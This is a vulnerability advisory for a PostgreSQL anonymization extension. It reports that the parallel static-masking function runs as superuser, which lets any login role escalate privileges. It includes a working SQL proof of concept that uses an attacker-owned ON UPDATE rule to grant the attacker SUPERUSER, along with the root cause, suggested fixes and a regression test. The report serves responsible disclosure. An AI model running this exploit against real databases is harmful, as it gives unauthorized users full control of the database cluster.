Privilege escalation to superuser via anon.anonymize_database_parallel()
Summary
anon.anonymize_database_parallel() performs static masking inside background
workers that connect as the bootstrap superuser. The function is executable
by PUBLIC and has no ownership/superuser gate. Because the masking UPDATE
runs as superuser, any rewrite RULE (or trigger) a caller attached to its own
table is expanded and executed with superuser privileges. This lets any
low-privilege role escalate to SUPERUSER.
Severity
Critical — full escalation from an ordinary login role to SUPERUSER.
Affected versions
Introduced with Parallel Static Masking in 3.0.1 (2026-02-11); still present
in v3.1.3 (current). All releases shipping anon.anonymize_database_parallel()
/ the bgw_anon background worker.
Affected components
src/lib.rs→anon.anonymize_database_parallel()(launcher)src/static_masking.rs→bgw_anon()worker;connect_worker_to_spi(Some(db), None)sql/parallel_static_masking.sql
Prerequisites (all satisfiable by a low-privilege user)
anonextension installed (install requires superuser, but the runtime function below is usable by others).- Attacker is any login role able to create a table with a rule in a schema
it owns (e.g. its own schema, or
publicwhereCREATEis granted). EXECUTEonanon.anonymize_database_parallel(int)— this is the PostgreSQL defaultPUBLICgrant; the extension does notREVOKEit (schemaanonhasUSAGEgranted toPUBLIC).- Attacker can set a masking label on its own column (object owners may, by
design), so its table appears in
anon.pg_masking_rules.
Steps to reproduce
-- as superuser
CREATE EXTENSION anon;
CREATE USER hacker;
GRANT CREATE ON SCHEMA public TO hacker;
-- as hacker
SET ROLE hacker;
CREATE TABLE public.test (id int PRIMARY KEY, name text NOT NULL);
SECURITY LABEL FOR anon ON COLUMN public.test.name
IS 'MASKED WITH FUNCTION anon.dummy_name()';
CREATE FUNCTION public.attack() RETURNS void LANGUAGE plpgsql AS $$
BEGIN
ALTER ROLE hacker SUPERUSER;
END
$$;
-- Fire arbitrary SQL whenever public.test is UPDATEd
CREATE RULE audit AS ON UPDATE TO public.test DO ALSO SELECT public.attack();
-- Trigger the superuser background worker
SELECT anon.anonymize_database_parallel(1);
-- hacker is now SUPERUSERRoot cause
anonymize_database_parallel() launches background workers (bgw_anon) that call
BackgroundWorker::connect_worker_to_spi(Some(db), None). Passing None for the
username connects the worker as the bootstrap superuser. The worker then runs
the static-masking statement, essentially:
UPDATE public.test SET name = anon.dummy_name();Because this UPDATE runs with superuser authority, PostgreSQL expands the
attacker-owned ON UPDATE rewrite rule as part of the same statement, so
public.attack() executes as superuser.
The masking-expression validation (trusted-schema enforcement in check_function
/ the walker) is not a mitigation here: the injected code does not come from
the MASKED WITH FUNCTION expression — it rides the rule/trigger expansion of the
UPDATE statement itself. Triggers and ON INSERT/ON UPDATE rules on the
masked table give the same primitive.
Contrast with the non-parallel path: anon.anonymize_table() /
anon.anonymize_database() are SECURITY INVOKER, so their UPDATE runs as the
caller and any attached rule/trigger fires only with the caller's own
privileges — no boundary is crossed. The parallel worker breaks this invariant by
running the same work as the bootstrap superuser.
Impact
Any authenticated user meeting the prerequisites gains SUPERUSER, i.e. full
control of the database cluster (and, via superuser, code execution as the OS
postgres account on typical installs).
Suggested remediation
1. Stop running the masking as the bootstrap superuser
- Run as the caller of
anonymize_database_parallel()This faithfully restores theSECURITY INVOKERsemantics of the serialanonymize_database():- ACL checks run against the caller, so it can only affect tables it could already write — no authorization bypass.
- An attacker rule fires as the (low-privilege) caller, so the caller gains nothing — the PoC breaks.
- Residual risk equals the serial path exactly: if an admin deliberately runs
it while an attacker rule exists, that rule runs as the admin — the same,
already-documented behavior as
anonymize_database()/ anyUPDATE.
2. Gate the entry point (defense in depth)
Require the caller of anonymize_database_parallel() to be a superuser (or a
designated admin role), and/or REVOKE EXECUTE ... FROM PUBLIC on it — static
masking is an administrative operation.
3. Optional hardening
Refuse to statically mask a relation that carries non-owner rules/triggers, or disable rule/trigger firing for the internally generated masking statements.
Suggested regression test
The PoC above: a non-superuser with an ON UPDATE rule that calls a
privilege-changing function must not become superuser (and, with fix #2 (closed), the
call should be rejected with insufficient_privilege).
Disclosure
Reported privately per your project's contact channel. Happy to coordinate a fix, review a patch, and align on CVE assignment.